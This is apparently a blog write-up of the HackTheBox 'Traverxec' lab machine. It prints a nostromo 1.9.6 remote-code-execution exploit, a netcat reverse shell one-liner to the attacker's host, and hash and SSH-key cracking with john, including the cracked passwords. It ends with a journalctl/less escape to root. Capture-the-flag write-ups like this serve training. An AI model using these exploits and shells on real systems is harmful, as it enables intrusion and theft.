HackTheBox – Traverxec

6 minute read

traverxec

Summary

In this box, we find a vulnerable HTTP server (nostromo) and use an RCE exploit to get a reverse shell. We then find an archived, encrypted SSH key that we crack with john to escalate to user privileges. And then we use less to escalate to root privileges. Let’s jump into it!

Enumeration

As always, the first step of the box is enumeration. Let’s find out what services are running on the box. We’ll use nmap for this.

$ nmap -vvv -sCV -oN traverxec.nmap 10.10.10.165
...
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpbmFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3AnzUJGFLI3TFz+CInilq4=
|   256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s
80/tcp open  http    syn-ack nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds

We see that port 22 is running SSH. We check to see if we can ssh in without a password, and find out that passwordless SSH authentication is disallowed. Next, I notice this weird string in the http-server-header, nostromo 1.9.6. Let’s see if the exploitdb knows anything about it.

$ searchsploit nostromo 1.9.6
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
                                                        | (/usr/share/exploitdb/)
-------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution                  | exploits/multiple/remote/47837.py
-------------------------------------------------------- ---------------------------------
Shellcodes: No Result
Papers: No Result

There is a RCE exploit available for this version of nostromo. Let’s read it to learn about how it works, and then use it.

# Download the exploit locally
$ searchsploit -m exploits/multiple/remote/47837.py

Reading through the exploit, we can see that the command is injected into a POST request to the server. This is the code block that actually performs the injection. I’ve annotated it for easy understanding.

def cve(target, port, cmd):
    # Create new web socket and connect to target IP at port.
    soc = socket.socket()
    soc.connect((target, int(port)))
    # Create malicious POST request
    payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd)
    # Send POST request and receive the output
    soc.send(payload)
    receive = connect(soc)
    print(receive)

Let’s do a simple test to check that this exploit works.

$ python 47837.py 10.10.10.165 80 whoami
www-data

This gets us command execution!

Reverse Shell

Let’s get a reverse shell. I start a listener on port 1234 of my Kali box with $ nc -lvnp 1234. Then I issue the following command to be run on the remote machine to get a reverse shell.

$ python 47837.py 10.10.10.165 80 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.11 1234 >/tmp/f"
$ nc -lvnp 1234
$ whoami
www-data

Upgrade to Full Shell

We now have a bare webshell. We can’t use tab completion and we can’t Ctrl-C commands without closing the shell entirely. Let’s fix that.

$ which python
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ # Ctrl-Z
# Local shell
$ stty echo -raw; fg
www-data@traverxec:/usr/bin$ export TERM=xterm-256color
www-data@traverxec:/usr/bin$ export SHELL=bash
www-data@traverxec:/usr/bin$ clear

User Privilege Escalation

I spin up a Python webserver on my local machine with $ python3 -m http.server 8000 and use wget on the remote machine to pull down LinEnum.sh into the /tmp directory, make it executable with chmod +x, and run it.

In the output for LinEnum.sh, I see:

[-] htpasswd found - could contain passwords:
/var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

I put the line with the hash into its own file and run john on it to see if I can crack it.

$ john htpasswd -w=~/tools/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:39 DONE (2020-04-07 07:21) 0.02540g/s 268760p/s 268760c/s 268760C/s Noyoo..Noury
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Looks like the password for david is Nowonly4me. (I never ended up using this cracked hash. I think this was a rabbit hole, but am including it for completeness.)

After exploring the box for a bit, I found this:

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Using a bit of intuition, I tried to cd /home/david/public_www and succeeded, even though cd /home/david/ && ls failed.

www-data@traverxec:/home/david/public_www/protected-file-area$ ls
backup-ssh-identity-files.tgz

Looks interesting. Let’s extract this to /tmp.

www-data@traverxec:/home/david/public_www/protected-file-area$ cd /tmp
www-data@traverxec:/tmp$ cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz .
www-data@traverxec:/tmp$ mkdir data
www-data@traverxec:/tmp$ tar xzvf backup-ssh-identity-files.tgz -C /tmp/data
www-data@traverxec:/tmp$ cd data/home/david/.ssh/
www-data@traverxec:/tmp/data/home/david/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
www-data@traverxec:/tmp/data/home/david/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

Time to break out john to crack this encrypted RSA key. Save this key to a file and run john like this:

$ ssh2john.py david_id_rsa > ssh2john.david_id_rsa
$ john ssh2john.david_id_rsa -w=~/tools/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (david_id_rsa)
1g 0:00:00:04 DONE (2020-04-07 08:58) 0.2004g/s 2874Kp/s 2874Kc/s 2874KC/s *7¡Vamos!..clarus
Session completed

The cracked password is hunter. Let’s try to use this key to ssh into the machine.

$ chmod 700 david_id_rsa
$ ssh david@10.10.10.165 -i david_id_rsa
Enter passphrase for key 'david_id_rsa': # hunter
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Apr  7 01:01:28 2020 from 10.10.14.15
david@traverxec:~$ wc user.txt
 1  1 33 user.txt

And there is our user proof.

Root Privilege Escalation

There’s a peculiar shell script in /home/david/bin/server-stats.sh.

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Running this script does not prompt us for a sudo password. This is a fantastic sign. I checked out the journalctl page on GTFObins and found that journalctl invokes the default pager, which is normally less. We can see that less has root privileges with:

david@traverxec:~/bin$ ls -l `which less`
-rwxr-xr-x 1 root root 166664 May  7  2018 /usr/bin/less

We can use a standard less escape to get a root shell, provided that we can make less be used as an output pager. In order to do this, your terminal size must be smaller than the coming output! I copy the server-stats.sh file to server-stats.2.sh, and remove the | /usr/bin/cat from the last line. I run the script with $ ./server-stats.2.sh and land in a less process. Typing !/bin/bash and hitting ENTER gives me a root shell.

root@traverxec:/home/david/bin# whoami
root
root@traverxec:/home/david/bin# wc /root/root.txt
 1  1 33 /root/root.txt

And there we have it! I really enjoyed this box, even though I struggled for hours to figure out the root privilege escalation